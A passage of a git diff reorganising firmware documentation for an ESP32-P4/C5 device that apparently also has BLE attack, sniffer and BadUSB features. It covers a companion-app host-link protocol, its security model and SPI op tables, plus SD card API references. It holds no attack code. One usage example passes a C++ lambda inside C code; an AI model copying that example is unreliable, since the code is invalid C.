buttons_init(void); -``` -Configures the GPIO pins defined in `pin_def.h` as inputs with pull-ups. Initializes the state of all buttons. - -### State Checking (One-shot) -These functions return `true` **only once** per press. They rely on the `buttons_task` or interrupt logic (conceptually) setting a flag, and these functions reading/clearing it atomically. - -- `bool up_button_pressed(void)` -- `bool down_button_pressed(void)` -- `bool left_button_pressed(void)` -- `bool right_button_pressed(void)` -- `bool ok_button_pressed(void)` -- `bool back_button_pressed(void)` - -### State Checking (Continuous) -These functions return the **current raw state** of the button. Returns `true` as long as the button is held down. - -- `bool up_button_is_down(void)` -- `bool down_button_is_down(void)` -- `bool left_button_is_down(void)` -- `bool right_button_is_down(void)` -- `bool ok_button_is_down(void)` -- `bool back_button_is_down(void)` - -### Tasks - -#### `buttons_task` -```c -void buttons_task(void); -``` -Updates the internal state of the buttons. This should be called periodically (e.g., in a FreeRTOS task or timer callback) to detect state changes (edges) and set the `pressed_flag`. diff --git a/docs/host_link/README.md b/docs/host_link/README.md index 410eb9901..5bcd53616 100644 --- a/docs/host_link/README.md +++ b/docs/host_link/README.md @@ -8,8 +8,8 @@ the component READMEs, and the byte-level wire format lives in the protocol spec - Companion app implementation guide: [`app-guide.md`](./app-guide.md) - Wire spec: [`protocol.md`](./protocol.md) - SPI bridge (P4↔C5 transport this rides on): [`../spi_bridge/README.md`](../spi_bridge/README.md) -- P4 component reference: [`p4.md`](./p4.md) · in-tree: [`firmware_p4/.../host_link/README.md`](../../firmware_p4/components/Service/host_link/README.md) -- C5 component reference: [`c5.md`](./c5.md) · in-tree: [`firmware_c5/.../host_link/README.md`](../../firmware_c5/components/Service/host_link/README.md) +- P4 component reference: the [`# P4`](#p4) section below. +- C5 component reference: the [`# C5`](#c5) section below. ## The model @@ -118,3 +118,141 @@ per-phase breakdown. mutually exclusive (a start preempts the other). - Device→app frames larger than the BLE MTU are split across notifications and reassembled by the app via `LEN`. + +--- + +# P4 + +Terminates the companion-app protocol on the **ESP32-P4**. The P4 is the single +brain: it owns the security envelope, dispatches commands (locally or relayed to +the C5 over the SPI bridge), and owns SD/flash storage and device state. The same +behavior is exposed over **two transports** - USB CDC-ACM (P4-native) and BLE +(terminated on the C5, relayed here). Only **one** companion session is active at +a time. + +- Unified cross-firmware overview: [`README.md`](./README.md) +- Wire format (envelope, types, ids): [`protocol.md`](./protocol.md) + +This README is the **P4 component reference** - the file map and P4-side wiring. +The frame envelope, BODY types and the `SPI_CMD(cat, op)` id scheme are defined in +the wire spec; the end-to-end (app↔P4↔C5) picture is in the unified overview. + +## Files + +| File | Role | +|------|------| +| `host_link.c` | Core: reassembly, frame encode/decode, dispatch, single-session arbitration, `emit_frame` (RESP/LOG/STREAM). | +| `host_link_cdc.c` | USB CDC-ACM transport (TinyUSB composite). Claims the session on DTR; drops bytes when no app is attached. | +| `host_link_ble.c` | BLE transport relay: chunks frames to the C5 (`SPI_ID_HOST_TX`), reassembles inbound (`SPI_ID_HOST_RX` stream), drives the C5 GATT on/off and connection status. | +| `host_link_sec.c` | Security: PSK in NVS (auto-generated), `HELLO`/`HELLO_ACK` handshake, HKDF per-direction keys, per-frame MAC verify/sign, counter replay rejection. mbedTLS. | +| `host_link_log.c` | P4 log tee (`esp_log_set_vprintf`): ANSI strip, level, drop-oldest ring, worker → `LOG` frames `source=P4`. | +| `host_link_c5log.c` | Consumes the `SPI_ID_SYSTEM_LOG` stream from the C5 → `LOG` frames `source=C5`. | +| `host_link_files.c` | P4-local `FILE_*` ops over `/assets`, `/littlefs`, `/sdcard` (POSIX VFS), path-sandboxed, chunked. | +| `host_link_state.c` | Device state (battery/versions), the two settings toggles (NVS), and raw console exec (captured stdout → console LOG frames). | +| `host_link_stream.c` | Streaming + heartbeat proxy: starts session ops via `spi_session`, pushes records as `STREAM` frames, app-liveness watchdog, link-loss teardown. | + +## Command routing (in `host_link.c`) + +After authentication, `process_frame` routes each `CMD` by id: + +1. `host_files_is_file_op` → local file ops (bypass the 256 B relay cap). +2. `host_state_is_local_op` → device state / settings / console exec. +3. `category == SPI_CAT_SESSION` → heartbeat/stop handled by the stream proxy + (**not** relayed; the P4 keeps heartbeating the C5 itself). +4. `host_stream_is_session_op` → start a session-based stream (sniffer). +5. otherwise → relayed to the C5 via `spi_bridge_send_command`. + +## Security model + +- Only `HELLO` is accepted before keys exist. Every other inbound frame must be + authenticated (valid MAC, fresh counter) or it is dropped + logged. +- Per-direction HKDF keys (`a2d`/`d2a`) prevent reflection; fresh nonces per + handshake prevent cross-session replay. +- The PSK is provisioned out-of-band: shown as a QR + hex on the P4 pairing + screen (Settings → PAIRING) and via the `hostlink psk` console command. +- BLE bonding is "just works" (LE Secure Connections, no MITM) on top of the PSK + envelope, which is the real trust boundary. + +## Toggles (NVS, default on) + +| Setting | Effect when off | +|---------|-----------------| +| `console_exec` | the app cannot run raw console lines (structured `CMD`s still work) | +| `log_over_ble` | background logs are not sent over BLE; **USB always carries logs**, and console-exec output is always delivered | + +## Boot wiring (`kernel.c`) + +``` +host_link_state_init(); // load toggles +host_link_stream_init(); // streaming proxy +host_link_init(); // core + PSK +host_link_cdc_init(); // USB transport +host_link_log_init(); // P4 log tee +host_link_c5log_init(); // C5 log relay +host_link_ble_init(); // BLE relay infra (advertising on demand: `hostlink ble on`) +``` + +## Status + +All phases implemented and build-validated. **Not yet hardware-tested** - the +dev board's native USB pads are unsoldered and BLE is unexercised. Known runtime +caveats: NimBLE is single-owner (host-link BLE / MeshCore / Meshtastic are +mutually exclusive); the UI sniffer and the companion sniffer share one +`spi_session` (mutually exclusive); large device→app frames split across BLE +notifications and are reassembled by the app via `LEN`. + +--- + +# C5 + +The companion app's **BLE transport terminates on the ESP32-C5** (it owns the BLE +radio). The C5 is a **transparent byte relay**: it ferries opaque host-link frames +to/from the P4 over the SPI bridge and forwards its own logs up. **All +crypto/auth lives on the P4** - the C5 never parses companion payloads. + +Mirrors the proven Meshtastic/MeshCore phone-bridge pattern. + +- Unified cross-firmware overview: [`README.md`](./README.md) +- Wire format: [`protocol.md`](./protocol.md) + +This README is the **C5 component reference** (BLE relay + log tee). + +## Files + +| File | Role | +|------|------| +| `host_link_gatt.c` | NimBLE GATT server (NUS-style): a **write** char (app→device) and a **notify** char (device→app). "Just works" LE Secure Connections (no MITM). Splits notifications by ATT MTU; the app reassembles by frame `LEN`. | +| `host_transport.c` | Chunk/reassembly between BLE and SPI. BLE write → `SPI_ID_HOST_RX` stream (C5→P4). `SPI_ID_HOST_TX` chunks (P4→C5) → reassemble → BLE notify. Reuses `spi_mesh_chunk_hdr_t`. | +| `c5_log.c` | C5 log tee (`esp_log_set_vprintf`): keeps the local dev console, ANSI strip + level, drop-oldest ring, worker → `SPI_ID_SYSTEM_LOG` stream (C5→P4) as `[level u8][utf-8 text]`. | + +## SPI ops (category `SPI_CAT_HOST = 0x06`, in `spi_protocol.h`) + +| Op | Id | Direction | Purpose | +|----|----|-----------|---------| +| `SPI_ID_HOST_BLE_INIT` | `0x06A0` | P4→C5 cmd | start GATT + advertise (`spi_host_init_t { name_prefix }`) | +| `SPI_ID_HOST_BLE_STOP` | `0x06A1` | P4→C5 cmd | stop GATT | +| `SPI_ID_HOST_TX` | `0x06A2` | P4→C5 cmd (push) | device→app bytes → BLE notify | +| `SPI_ID_HOST_RX` | `0x06A3` | C5→P4 stream | app→device bytes (BLE write) | +| `SPI_ID_HOST_STATUS` | `0x06A4` | P4→C5 cmd | poll `spi_host_status_t { ble_connected, ble_subscribed }` | + +`SPI_ID_SYSTEM_LOG` (`0x0007`, C5→P4 stream) carries the forwarded log lines. + +## Dispatch + +`SPI_CAT_HOST` is routed to `bt_dispatcher_execute` (alongside `SPI_CAT_BT` / +`SPI_CAT_MCORE`) in `spi_bridge.c`. The handlers call into `host_transport` / +`host_link_gatt`. + +## Boot wiring (`kernel.c`) + +`c5_log_init()` runs right after `spi_bridge_slave_init()` (it pushes to the SPI +stream). The GATT server is started on demand by the P4 (`SPI_ID_HOST_BLE_INIT`), +not at boot, so it doesn't hog NimBLE from the BLE attack features. + +## Caveats + +- **NimBLE is single-owner**: host-link BLE, MeshCore, and Meshtastic each refuse + to init while another holds NimBLE. +- The C5 log stream is always enabled on this side; the P4 drops the resulting + `LOG` frames when no companion session is active, and the **log-over-BLE** + toggle (P4) gates BLE delivery. Build-validated; **not yet hardware-tested**. diff --git a/docs/host_link/app-guide.md b/docs/host_link/app-guide.md index 5322d38ca..383438766 100644 --- a/docs/host_link/app-guide.md +++ b/docs/host_link/app-guide.md @@ -7,7 +7,7 @@ handshake, and how to issue commands / read streams / logs / files. The firmware owns the protocol; the app follows it. Pair this guide with: - [`protocol.md`](./protocol.md) - the formal wire contract. -- [`../spi_bridge/p4.md`](../spi_bridge/p4.md) - the full `category`/`op` command table. +- [`../spi_bridge/README.md`](../spi_bridge/README.md) - the full `category`/`op` command table. - [`README.md`](./README.md) - cross-firmware overview. All multi-byte integers are **little-endian**. @@ -84,7 +84,7 @@ the MAC itself), truncated to the first 16 bytes. | `0x11` | `HELLO_ACK` | device → app | handshake (unauthenticated) | `category`/`op` are the same ids the firmware uses internally -(`spi_id_t = (category << 8) | op`). Full table: [`../spi_bridge/p4.md`](../spi_bridge/p4.md). +(`spi_id_t = (category << 8) | op`). Full table: [`../spi_bridge/README.md`](../spi_bridge/README.md). --- @@ -180,7 +180,7 @@ counter `5`: List results (scan tables, etc.) are pulled with the generic data pipe `SPI_ID_SYSTEM_DATA` (`category=0x00`, `op=0x05`): index `0xFFFF` returns the -count, `0..N-1` returns one item. See [`../spi_bridge/p4.md`](../spi_bridge/p4.md). +count, `0..N-1` returns one item. See [`../spi_bridge/README.md`](../spi_bridge/README.md). --- diff --git a/docs/host_link/c5.md b/docs/host_link/c5.md deleted file mode 100644 index 653b6c7a9..000000000 --- a/docs/host_link/c5.md +++ /dev/null @@ -1,53 +0,0 @@ -# Host Link - C5 (BLE relay + log tee) - -The companion app's **BLE transport terminates on the ESP32-C5** (it owns the BLE -radio). The C5 is a **transparent byte relay**: it ferries opaque host-link frames -to/from the P4 over the SPI bridge and forwards its own logs up. **All -crypto/auth lives on the P4** - the C5 never parses companion payloads. - -Mirrors the proven Meshtastic/MeshCore phone-bridge pattern. - -- Unified cross-firmware overview: [`README.md`](./README.md) -- Wire format: [`protocol.md`](./protocol.md) - -This README is the **C5 component reference** (BLE relay + log tee). - -## Files - -| File | Role | -|------|------| -| `host_link_gatt.c` | NimBLE GATT server (NUS-style): a **write** char (app→device) and a **notify** char (device→app). "Just works" LE Secure Connections (no MITM). Splits notifications by ATT MTU; the app reassembles by frame `LEN`. | -| `host_transport.c` | Chunk/reassembly between BLE and SPI. BLE write → `SPI_ID_HOST_RX` stream (C5→P4). `SPI_ID_HOST_TX` chunks (P4→C5) → reassemble → BLE notify. Reuses `spi_mesh_chunk_hdr_t`. | -| `c5_log.c` | C5 log tee (`esp_log_set_vprintf`): keeps the local dev console, ANSI strip + level, drop-oldest ring, worker → `SPI_ID_SYSTEM_LOG` stream (C5→P4) as `[level u8][utf-8 text]`. | - -## SPI ops (category `SPI_CAT_HOST = 0x06`, in `spi_protocol.h`) - -| Op | Id | Direction | Purpose | -|----|----|-----------|---------| -| `SPI_ID_HOST_BLE_INIT` | `0x06A0` | P4→C5 cmd | start GATT + advertise (`spi_host_init_t { name_prefix }`) | -| `SPI_ID_HOST_BLE_STOP` | `0x06A1` | P4→C5 cmd | stop GATT | -| `SPI_ID_HOST_TX` | `0x06A2` | P4→C5 cmd (push) | device→app bytes → BLE notify | -| `SPI_ID_HOST_RX` | `0x06A3` | C5→P4 stream | app→device bytes (BLE write) | -| `SPI_ID_HOST_STATUS` | `0x06A4` | P4→C5 cmd | poll `spi_host_status_t { ble_connected, ble_subscribed }` | - -`SPI_ID_SYSTEM_LOG` (`0x0007`, C5→P4 stream) carries the forwarded log lines. - -## Dispatch - -`SPI_CAT_HOST` is routed to `bt_dispatcher_execute` (alongside `SPI_CAT_BT` / -`SPI_CAT_MCORE`) in `spi_bridge.c`. The handlers call into `host_transport` / -`host_link_gatt`. - -## Boot wiring (`kernel.c`) - -`c5_log_init()` runs right after `spi_bridge_slave_init()` (it pushes to the SPI -stream). The GATT server is started on demand by the P4 (`SPI_ID_HOST_BLE_INIT`), -not at boot, so it doesn't hog NimBLE from the BLE attack features. - -## Caveats - -- **NimBLE is single-owner**: host-link BLE, MeshCore, and Meshtastic each refuse - to init while another holds NimBLE. -- The C5 log stream is always enabled on this side; the P4 drops the resulting - `LOG` frames when no companion session is active, and the **log-over-BLE** - toggle (P4) gates BLE delivery. Build-validated; **not yet hardware-tested**. diff --git a/docs/host_link/p4.md b/docs/host_link/p4.md deleted file mode 100644 index 9e3a64655..000000000 --- a/docs/host_link/p4.md +++ /dev/null @@ -1,79 +0,0 @@ -# Host Link - P4 (companion app link) - -Terminates the companion-app protocol on the **ESP32-P4**. The P4 is the single -brain: it owns the security envelope, dispatches commands (locally or relayed to -the C5 over the SPI bridge), and owns SD/flash storage and device state. The same -behavior is exposed over **two transports** - USB CDC-ACM (P4-native) and BLE -(terminated on the C5, relayed here). Only **one** companion session is active at -a time. - -- Unified cross-firmware overview: [`README.md`](./README.md) -- Wire format (envelope, types, ids): [`protocol.md`](./protocol.md) - -This README is the **P4 component reference** - the file map and P4-side wiring. -The frame envelope, BODY types and the `SPI_CMD(cat, op)` id scheme are defined in -the wire spec; the end-to-end (app↔P4↔C5) picture is in the unified overview. - -## Files - -| File | Role | -|------|------| -| `host_link.c` | Core: reassembly, frame encode/decode, dispatch, single-session arbitration, `emit_frame` (RESP/LOG/STREAM). | -| `host_link_cdc.c` | USB CDC-ACM transport (TinyUSB composite). Claims the session on DTR; drops bytes when no app is attached. | -| `host_link_ble.c` | BLE transport relay: chunks frames to the C5 (`SPI_ID_HOST_TX`), reassembles inbound (`SPI_ID_HOST_RX` stream), drives the C5 GATT on/off and connection status. | -| `host_link_sec.c` | Security: PSK in NVS (auto-generated), `HELLO`/`HELLO_ACK` handshake, HKDF per-direction keys, per-frame MAC verify/sign, counter replay rejection. mbedTLS. | -| `host_link_log.c` | P4 log tee (`esp_log_set_vprintf`): ANSI strip, level, drop-oldest ring, worker → `LOG` frames `source=P4`. | -| `host_link_c5log.c` | Consumes the `SPI_ID_SYSTEM_LOG` stream from the C5 → `LOG` frames `source=C5`. | -| `host_link_files.c` | P4-local `FILE_*` ops over `/assets`, `/littlefs`, `/sdcard` (POSIX VFS), path-sandboxed, chunked. | -| `host_link_state.c` | Device state (battery/versions), the two settings toggles (NVS), and raw console exec (captured stdout → console LOG frames). | -| `host_link_stream.c` | Streaming + heartbeat proxy: starts session ops via `spi_session`, pushes records as `STREAM` frames, app-liveness watchdog, link-loss teardown. | - -## Command routing (in `host_link.c`) - -After authentication, `process_frame` routes each `CMD` by id: - -1. `host_files_is_file_op` → local file ops (bypass the 256 B relay cap). -2. `host_state_is_local_op` → device state / settings / console exec. -3. `category == SPI_CAT_SESSION` → heartbeat/stop handled by the stream proxy - (**not** relayed; the P4 keeps heartbeating the C5 itself). -4. `host_stream_is_session_op` → start a session-based stream (sniffer). -5. otherwise → relayed to the C5 via `spi_bridge_send_command`. - -## Security model - -- Only `HELLO` is accepted before keys exist. Every other inbound frame must be - authenticated (valid MAC, fresh counter) or it is dropped + logged. -- Per-direction HKDF keys (`a2d`/`d2a`) prevent reflection; fresh nonces per - handshake prevent cross-session replay. -- The PSK is provisioned out-of-band: shown as a QR + hex on the P4 pairing - screen (Settings → PAIRING) and via the `hostlink psk` console command. -- BLE bonding is "just works" (LE Secure Connections, no MITM) on top of the PSK - envelope, which is the real trust boundary. - -## Toggles (NVS, default on) - -| Setting | Effect when off | -|---------|-----------------| -| `console_exec` | the app cannot run raw console lines (structured `CMD`s still work) | -| `log_over_ble` | background logs are not sent over BLE; **USB always carries logs**, and console-exec output is always delivered | - -## Boot wiring (`kernel.c`) - -``` -host_link_state_init(); // load toggles -host_link_stream_init(); // streaming proxy -host_link_init(); // core + PSK -host_link_cdc_init(); // USB transport -host_link_log_init(); // P4 log tee -host_link_c5log_init(); // C5 log relay -host_link_ble_init(); // BLE relay infra (advertising on demand: `hostlink ble on`) -``` - -## Status - -All phases implemented and build-validated. **Not yet hardware-tested** - the -dev board's native USB pads are unsoldered and BLE is unexercised. Known runtime -caveats: NimBLE is single-owner (host-link BLE / MeshCore / Meshtastic are -mutually exclusive); the UI sniffer and the companion sniffer share one -`spi_session` (mutually exclusive); large device→app frames split across BLE -notifications and are reassembled by the app via `LEN`. diff --git a/docs/sd_card/c5.md b/docs/sd_card/README.md similarity index 50% rename from docs/sd_card/c5.md rename to docs/sd_card/README.md index e447bfabf..df41393bd 100644 --- a/docs/sd_card/c5.md +++ b/docs/sd_card/README.md @@ -1,4 +1,955 @@ -# SD Directory Management Component +# P4 + +Component for managing directories on SD card storage. + +## Overview + +- **Location:** `components/storage/sd_dir/` +- **Main Header:** `include/sd_dir.h` +- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` + +## Key Features + +- **Directory Operations:** Create, delete, list, and check existence +- **Recursive Operations:** Remove trees, copy directories, calculate sizes +- **Predefined Paths:** System-wide constants for organizing data +- **Callback System:** Efficient iteration with custom callbacks +- **Statistics:** Count files/directories, calculate storage usage + +## Path Constants + +All path constants have been centralized in `tos_storage_paths.h` using `TOS_PATH_*` macros. +The sd_card component uses `VFS_MOUNT_POINT` (from `vfs_config.h`) as the mount point prefix. + +See `storage_api/include/tos_storage_paths.h` for the full list of available paths. + +## API Reference + +### Directory Creation & Deletion + +#### `sd_dir_create` +```c +esp_err_t sd_dir_create(const char *path); +``` +Creates directory with automatic parent creation (like `mkdir -p`). + +**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. + +--- + +#### `sd_dir_remove_recursive` +```c +esp_err_t sd_dir_remove_recursive(const char *path); +``` +Recursively deletes directory and all contents. **Use with caution.** + +**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. + +--- + +### Directory Information + +#### `sd_dir_exists` +```c +bool sd_dir_exists(const char *path); +``` +Checks if directory exists. + +**Returns:** `true` if exists, `false` otherwise. + +--- + +#### `sd_dir_list` +```c +typedef void (*sd_dir_callback_t)(const char *name, bool is_dir, void *user_data); +esp_err_t sd_dir_list(const char *path, sd_dir_callback_t callback, void *user_data); +``` +Iterates through directory entries, calling callback for each item. + +**Example:** +```c +void print_entry(const char *name, bool is_dir, void *user_data) { + printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); +} +sd_dir_list("/sdcard/badusb", print_entry, NULL); +``` + +--- + +#### `sd_dir_count` +```c +esp_err_t sd_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count); +``` +Counts files and subdirectories (non-recursive). + +**Returns:** `ESP_OK` on success. + +--- + +#### `sd_dir_get_size` +```c +esp_err_t sd_dir_get_size(const char *path, uint64_t *total_size); +``` +Calculates total size of all files in directory tree (recursive). + +**Returns:** `ESP_OK` on success. + +--- + +### Directory Operations + +#### `sd_dir_copy_recursive` +```c +esp_err_t sd_dir_copy_recursive(const char *src, const char *dst); +``` +Copies entire directory tree, preserving structure. + +**Returns:** `ESP_OK` on success. + +--- + +## Implementation Details + +- All functions require full paths including `VFS_MOUNT_POINT` +- Functions are not thread-safe - use mutexes for concurrent access +- Recursive operations may fail on deeply nested directories + +## Usage Example + +```c +#include "tos_storage_paths.h" + +void example(void) { + sd_dir_create(TOS_PATH_NFC); + sd_dir_create(TOS_PATH_BADUSB); +} +``` + +--- + +# SD Card Information Component + +Component for querying SD card hardware and filesystem statistics. + +## Overview + +- **Location:** `components/storage/sd_card_info/` +- **Main Header:** `include/sd_card_info.h` +- **Dependencies:** `esp_vfs_fat`, `sdmmc_cmd`, `ff`, `storage_sd` + +## Key Features + +- **Hardware Info:** Card name, capacity, speed, type +- **Filesystem Stats:** Total, used, free space with percentages +- **Mount Status:** Check if card is accessible +- **Debug Output:** Console logging of card information + +## Data Structures + +### `sd_card_info_t` +```c +typedef struct { + char name[16]; // Card manufacturer name + uint32_t capacity_mb; // Total capacity in MB + uint32_t sector_size; // Sector size in bytes + uint32_t num_sectors; // Total number of sectors + uint32_t speed_khz; // Max speed in kHz + uint8_t card_type; // Card type identifier + bool is_mounted; // Mount status +} sd_card_info_t; +``` + +### `sd_fs_stats_t` +```c +typedef struct { + uint64_t total_bytes; // Total capacity + uint64_t used_bytes; // Space in use + uint64_t free_bytes; // Available space +} sd_fs_stats_t; +``` + +## API Reference + +### Card Information + +#### `sd_get_card_info` +```c +esp_err_t sd_get_card_info(sd_card_info_t *info); +``` +Retrieves complete hardware information. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_ERR_INVALID_ARG`. + +--- + +#### `sd_print_card_info` +```c +void sd_print_card_info(void); +``` +Prints formatted card information to console. + +--- + +### Filesystem Statistics + +#### `sd_get_fs_stats` +```c +esp_err_t sd_get_fs_stats(sd_fs_stats_t *stats); +``` +Retrieves complete filesystem statistics. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, `ESP_ERR_INVALID_ARG`, or `ESP_FAIL`. + +--- + +#### `sd_get_free_space` +```c +esp_err_t sd_get_free_space(uint64_t *free_bytes); +``` +Gets available free space. + +--- + +#### `sd_get_total_space` +```c +esp_err_t sd_get_total_space(uint64_t *total_bytes); +``` +Gets total filesystem capacity. + +--- + +#### `sd_get_used_space` +```c +esp_err_t sd_get_used_space(uint64_t *used_bytes); +``` +Gets space currently in use. + +--- + +#### `sd_get_usage_percent` +```c +esp_err_t sd_get_usage_percent(float *percentage); +``` +Calculates usage percentage (0.0 to 100.0). + +--- + +### Individual Attributes + +#### `sd_get_card_name` +```c +esp_err_t sd_get_card_name(char *name, size_t size); +``` +Gets manufacturer name. + +--- + +#### `sd_get_capacity` +```c +esp_err_t sd_get_capacity(uint32_t *capacity_mb); +``` +Gets total capacity in MB. + +--- + +#### `sd_get_speed` +```c +esp_err_t sd_get_speed(uint32_t *speed_khz); +``` +Gets maximum communication speed. + +--- + +#### `sd_get_card_type` +```c +esp_err_t sd_get_card_type(uint8_t *type); +``` +Gets raw card type identifier. + +--- + +#### `sd_get_card_type_name` +```c +esp_err_t sd_get_card_type_name(char *type_name, size_t size); +``` +Gets human-readable card type string. + +--- + +## Implementation Details + +- Uses FatFS `f_getfree()` for filesystem stats +- Accesses SDMMC layer for hardware information +- All functions verify mount status before access +- Thread-safe for read operations + +## Usage Example + +```c +void check_storage_health(void) { + sd_card_info_t info; + float usage; + + if (sd_get_card_info(&info) == ESP_OK && + sd_get_usage_percent(&usage) == ESP_OK) { + + printf("Card: %s (%lu MB)\n", info.name, info.capacity_mb); + printf("Usage: %.1f%%\n", usage); + + if (usage > 90.0f) { + printf("WARNING: Low disk space!\n"); + } + } +} +``` + +--- + +# SD Card Initialization Component + +Component for SD card initialization, mounting, and lifecycle management. + +## Overview + +- **Location:** `components/storage/sd_card_init/` +- **Main Header:** `include/sd_card_init.h` +- **Dependencies:** `esp_vfs_fat`, `driver/sdspi_host`, `sdmmc_cmd`, `spi`, `pin_def` + +## Key Features + +- **Simple Initialization:** One-function setup with defaults +- **Custom Configuration:** Control max files, auto-format, allocation size +- **Mount Management:** Mount, unmount, remount, check status +- **Shared SPI Bus:** Integration with centralized SPI driver +- **Health Monitoring:** Basic health checks +- **Card Handle Access:** Low-level SDMMC handle for advanced use + +## Configuration + +```c +// VFS_MOUNT_POINT is defined in vfs_config.h (e.g. "/sdcard") +#define SD_MAX_FILES 10 // Max open files +#define SD_ALLOCATION_UNIT 16 * 1024 // 16KB cluster size +``` + +## API Reference + +### Initialization + +#### `sd_init` +```c +esp_err_t sd_init(void); +``` +Initializes SD card with default settings. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. + +--- + +#### `sd_init_custom` +```c +esp_err_t sd_init_custom(uint8_t max_files, bool format_if_failed); +``` +Initializes with custom parameters. + +**Warning:** `format_if_failed=true` erases all data on mount failure. + +--- + +#### `sd_init_custom_pins` +```c +esp_err_t sd_init_custom_pins(int mosi, int miso, int clk, int cs); +``` +**Deprecated:** Custom pins not supported with shared SPI driver. + +--- + +### Deinitialization + +#### `sd_deinit` +```c +esp_err_t sd_deinit(void); +``` +Unmounts SD card and releases resources. Close all files first. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. + +--- + +### Status & Maintenance + +#### `sd_is_mounted` +```c +bool sd_is_mounted(void); +``` +Checks if SD card is mounted. + +--- + +#### `sd_remount` +```c +esp_err_t sd_remount(void); +``` +Unmounts and remounts SD card (useful for error recovery). + +--- + +#### `sd_check_health` +```c +esp_err_t sd_check_health(void); +``` +Performs basic health check. + +--- + +#### `sd_reset_bus` +```c +esp_err_t sd_reset_bus(void); +``` +**Not Supported:** Returns `ESP_ERR_NOT_SUPPORTED`. Use `sd_remount()` instead. + +--- + +### Advanced Access + +#### `sd_get_card_handle` +```c +sdmmc_card_t* sd_get_card_handle(void); +``` +Returns pointer to internal SDMMC card structure. Returns `NULL` if not mounted. + +**Warning:** Direct manipulation can interfere with VFS operations. + +--- + +## Implementation Details + +### SPI Configuration +```c +spi_device_config_t sd_cfg = { + .cs_pin = SD_CARD_CS_PIN, + .clock_speed_hz = 20000 * 1000, + .mode = 0, + .queue_size = 4, +}; +``` + +### Mount Configuration +```c +esp_vfs_fat_sdmmc_mount_config_t mount_config = { + .format_if_mount_failed = false, + .max_files = 5, + .allocation_unit_size = 16 * 1024, +}; +``` + +## Troubleshooting + +| Problem | Solutions | +|---------|-----------| +| `sd_init()` returns `ESP_FAIL` | Check card insertion, verify pins, try different card, enable debug logs | +| File operations fail | Check filesystem corruption, verify max_files limit, close file handles, try remount | +| Random disconnects | Check power supply, verify connections, reduce clock speed, add pull-ups | +| `sd_deinit()` fails | Close all file handles first, check for active tasks | + +## Usage Example + +```c +void storage_init(void) { + if (sd_init() == ESP_OK) { + ESP_LOGI(TAG, "SD card mounted"); + sd_dir_create("/sdcard/config"); + } else { + ESP_LOGE(TAG, "SD card mount failed"); + } +} +``` + +--- + +# SD Card Read Component + +Component for comprehensive SD card file reading operations. + +## Overview + +- **Location:** `components/storage/sd_card_read/` +- **Main Header:** `include/sd_card_read.h` +- **Dependencies:** `esp_vfs_fat`, `storage_sd` + +## Key Features + +- **Text Reading:** Entire files, specific lines, line-by-line processing +- **Binary Reading:** Raw data, chunks, individual bytes +- **Type Conversion:** Direct reading of integers, floats +- **Content Search:** String search and occurrence counting +- **Flexible Paths:** Automatic `/sdcard` prefix for relative paths + +## Configuration + +```c +#define MAX_PATH_LEN 256 // Maximum path length +#define MAX_LINE_LEN 512 // Maximum line length +``` + +## API Reference + +### Text Reading + +#### `sd_read_string` +```c +esp_err_t sd_read_string(const char *path, char *buffer, size_t buffer_size); +``` +Reads entire file as null-terminated string. + +--- + +#### `sd_read_line` +```c +esp_err_t sd_read_line(const char *path, char *buffer, size_t buffer_size, uint32_t line_number); +``` +Reads specific line (1-based index). + +--- + +#### `sd_read_first_line` +```c +esp_err_t sd_read_first_line(const char *path, char *buffer, size_t buffer_size); +``` +Reads first line. Equivalent to `sd_read_line(path, buffer, size, 1)`. + +--- + +#### `sd_read_last_line` +```c +esp_err_t sd_read_last_line(const char *path, char *buffer, size_t buffer_size); +``` +Reads last line. + +--- + +#### `sd_read_lines` +```c +typedef void (*sd_line_callback_t)(const char *line, void *user_data); +esp_err_t sd_read_lines(const char *path, sd_line_callback_t callback, void *user_data); +``` +Processes each line via callback. Memory-efficient for large files. + +--- + +#### `sd_count_lines` +```c +esp_err_t sd_count_lines(const char *path, uint32_t *line_count); +``` +Counts total lines in file. + +--- + +### Binary Reading + +#### `sd_read_binary` +```c +esp_err_t sd_read_binary(const char *path, void *buffer, size_t size, size_t *bytes_read); +``` +Reads raw binary data. + +--- + +#### `sd_read_chunk` +```c +esp_err_t sd_read_chunk(const char *path, size_t offset, void *buffer, size_t size, size_t *bytes_read); +``` +Reads data chunk from specific offset. + +--- + +#### `sd_read_bytes` +```c +esp_err_t sd_read_bytes(const char *path, uint8_t *bytes, size_t max_count, size_t *count); +``` +Alias for `sd_read_binary` with byte array typing. + +--- + +#### `sd_read_byte` +```c +esp_err_t sd_read_byte(const char *path, uint8_t *byte); +``` +Reads single byte. + +--- + +### Type Conversion + +#### `sd_read_int` +```c +esp_err_t sd_read_int(const char *path, int32_t *value); +``` +Reads and converts to 32-bit integer. + +--- + +#### `sd_read_float` +```c +esp_err_t sd_read_float(const char *path, float *value); +``` +Reads and converts to float. + +--- + +### Content Search + +#### `sd_file_contains` +```c +esp_err_t sd_file_contains(const char *path, const char *search, bool *found); +``` +Checks if string exists in file. + +--- + +#### `sd_count_occurrences` +```c +esp_err_t sd_count_occurrences(const char *path, const char *search, uint32_t *count); +``` +Counts string occurrences in file. + +--- + +## Implementation Details + +- Line functions allocate 512-byte stack buffers +- Use `sd_read_lines()` callback for large files +- Thread-safe for different files +- Automatic path formatting (relative → absolute) + +## Usage Example + +```c +void process_config(void) { + char buffer[256]; + + // Read entire file + if (sd_read_string("/config/settings.txt", buffer, sizeof(buffer)) == ESP_OK) { + printf("Config: %s\n", buffer); + } + + // Process line-by-line + sd_read_lines("/logs/system.log", [](const char *line, void *ctx) { + printf("Log: %s\n", line); + }, NULL); +} +``` + +--- + +# SD Card Write Component + +Component for comprehensive SD card file writing operations. + +## Overview + +- **Location:** `components/storage/sd_card_write/` +- **Main Header:** `include/sd_card_write.h` +- **Dependencies:** `esp_vfs_fat`, `storage_sd` + +## Key Features + +- **Text Writing:** Strings, lines, formatted text +- **Binary Writing:** Raw data, buffers, individual bytes +- **Append Operations:** Add to existing files +- 